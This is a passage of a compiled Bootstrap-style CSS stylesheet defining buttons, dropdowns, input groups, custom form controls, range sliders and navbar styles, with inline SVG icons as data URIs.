background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n font-weight: 400;\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-link:hover {\n color: #0056b3;\n text-decoration: underline;\n background-color: transparent;\n border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n text-decoration: underline;\n border-color: transparent;\n box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n color: #6c757d;\n pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n.btn-block + .btn-block {\n margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n\n.fade {\n transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .fade {\n transition: none;\n }\n}\n\n.fade:not(.show) {\n opacity: 0;\n}\n\n.collapse:not(.show) {\n display: none;\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .collapsing {\n transition: none;\n }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n position: relative;\n}\n\n.dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid;\n border-right: 0.3em solid transparent;\n border-bottom: 0;\n border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 10rem;\n padding: 0.5rem 0;\n margin: 0.125rem 0 0;\n font-size: 1rem;\n color: #212529;\n text-align: left;\n list-style: none;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n\n.dropup .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-top: 0;\n margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0;\n border-right: 0.3em solid transparent;\n border-bottom: 0.3em solid;\n border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n top: 0;\n right: auto;\n left: 100%;\n margin-top: 0;\n margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0;\n border-bottom: 0.3em solid transparent;\n border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n top: 0;\n right: 100%;\n left: auto;\n margin-top: 0;\n margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n display: inline-block;\n width: 0;\n height: 0;\n margin-right: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0.3em solid;\n border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n right: auto;\n bottom: auto;\n}\n\n.dropdown-divider {\n height: 0;\n margin: 0.5rem 0;\n overflow: hidden;\n border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n display: block;\n width: 100%;\n padding: 0.25rem 1.5rem;\n clear: both;\n font-weight: 400;\n color: #212529;\n text-align: inherit;\n white-space: nowrap;\n background-color: transparent;\n border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n color: #16181b;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n color: #fff;\n text-decoration: none;\n background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.dropdown-menu.show {\n display: block;\n}\n\n.dropdown-header {\n display: block;\n padding: 0.5rem 1.5rem;\n margin-bottom: 0;\n font-size: 0.875rem;\n color: #6c757d;\n white-space: nowrap;\n}\n\n.dropdown-item-text {\n display: block;\n padding: 0.25rem 1.5rem;\n color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-flex;\n vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n margin-left: -1px;\n}\n\n.btn-toolbar {\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n width: auto;\n}\n\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n padding-right: 0.5625rem;\n padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n padding-right: 0.375rem;\n padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n padding-right: 0.75rem;\n padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n flex-direction: column;\n align-items: flex-start;\n justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n\n.input-group {\n position: relative;\n display: flex;\n flex-wrap: wrap;\n align-items: stretch;\n width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n position: relative;\n flex: 1 1 auto;\n width: 1%;\n margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n display: flex;\n align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n position: relative;\n z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n margin-left: -1px;\n}\n\n.input-group-prepend {\n margin-right: -1px;\n}\n\n.input-group-append {\n margin-left: -1px;\n}\n\n.input-group-text {\n display: flex;\n align-items: center;\n padding: 0.375rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #495057;\n text-align: center;\n white-space: nowrap;\n background-color: #e9ecef;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.custom-control {\n position: relative;\n display: block;\n min-height: 1.5rem;\n padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n display: inline-flex;\n margin-right: 1rem;\n}\n\n.custom-control-input {\n position: absolute;\n z-index: -1;\n opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n color: #fff;\n background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n color: #fff;\n background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n background-color: #e9ecef;\n}\n\n.custom-control-label {\n margin-bottom: 0;\n}\n\n.custom-control-label::before {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n pointer-events: none;\n content: \"\";\n user-select: none;\n background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n content: \"\";\n background-repeat: no-repeat;\n background-position: center center;\n background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n vertical-align: middle;\n background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n background-size: 8px 10px;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n appearance: none;\n}\n\n.custom-select:focus {\n border-color: #80bdff;\n outline: 0;\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n height: auto;\n padding-right: 0.75rem;\n background-image: none;\n}\n\n.custom-select:disabled {\n color: #6c757d;\n background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n opacity: 0;\n}\n\n.custom-select-sm {\n height: calc(1.8125rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 75%;\n}\n\n.custom-select-lg {\n height: calc(2.875rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 125%;\n}\n\n.custom-file {\n position: relative;\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin-bottom: 0;\n}\n\n.custom-file-input {\n position: relative;\n z-index: 2;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin: 0;\n opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n border-color: #80bdff;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n content: \"Browse\";\n}\n\n.custom-file-label {\n position: absolute;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n z-index: 3;\n display: block;\n height: calc(calc(2.25rem + 2px) - 1px * 2);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n content: \"Browse\";\n background-color: #e9ecef;\n border-left: 1px solid #ced4da;\n border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n width: 100%;\n padding-left: 0;\n background-color: transparent;\n appearance: none;\n}\n\n.custom-range:focus {\n outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n width: 1rem;\n height: 1rem;\n margin-top: -0.25rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 1rem;\n}\n\n.custom-range::-ms-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: transparent;\n border-color: transparent;\n border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n margin-right: 15px;\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.nav {\n display: flex;\n flex-wrap: wrap;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.nav-link {\n display: block;\n padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n text-decoration: none;\n}\n\n.nav-link.disabled {\n color: #6c757d;\n}\n\n.nav-tabs {\n border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n border: 1px solid transparent;\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n color: #6c757d;\n background-color: transparent;\n border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n color: #495057;\n background-color: #fff;\n border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n color: #fff;\n background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n flex: 1 1 auto;\n text-align: center;\n}\n\n.nav-justified .nav-item {\n flex-basis: 0;\n flex-grow: 1;\n text-align: center;\n}\n\n.tab-content > .tab-pane {\n display: none;\n}\n\n.tab-content > .active {\n display: block;\n}\n\n.navbar {\n position: relative;\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n}\n\n.navbar-brand {\n display: inline-block;\n padding-top: 0.3125rem;\n padding-bottom: 0.3125rem;\n margin-right: 1rem;\n font-size: 1.25rem;\n line-height: inherit;\n white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n text-decoration: none;\n}\n\n.navbar-nav {\n display: flex;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.navbar-nav .nav-link {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n position: static;\n float: none;\n}\n\n.navbar-text {\n display: inline-block;\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n flex-basis: 100%;\n flex-grow: 1;\n align-items: center;\n}\n\n.navbar-toggler {\n padding: 0.25rem 0.75rem;\n font-size: 1.25rem;\n line-height: 1;\n background-color: transparent;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 576px) {\n .navbar-expand-sm {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-sm .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-sm .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-sm .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-sm .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-sm .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 767.98px) {\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 768px) {\n .navbar-expand-md {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-md .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-md .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-md .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-md .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-md .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 991.98px) {\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 992px) {\n .navbar-expand-lg {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-lg .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-lg .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-lg .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-lg .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-lg .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 1199.98px) {\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 1200px) {\n .navbar-expand-xl {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-xl .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-xl .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-xl .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-xl .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-xl .navbar-toggler {\n display: none;\n }\n}\n\n.navbar-expand {\n flex-flow: row nowrap;\n justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n display: none;\n}\n\n.navbar-light .navbar-brand {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n color: rgba(0, 0, 0, 0.5);\n border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n color: rgba(255, 255, 255, 0.5);\n border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 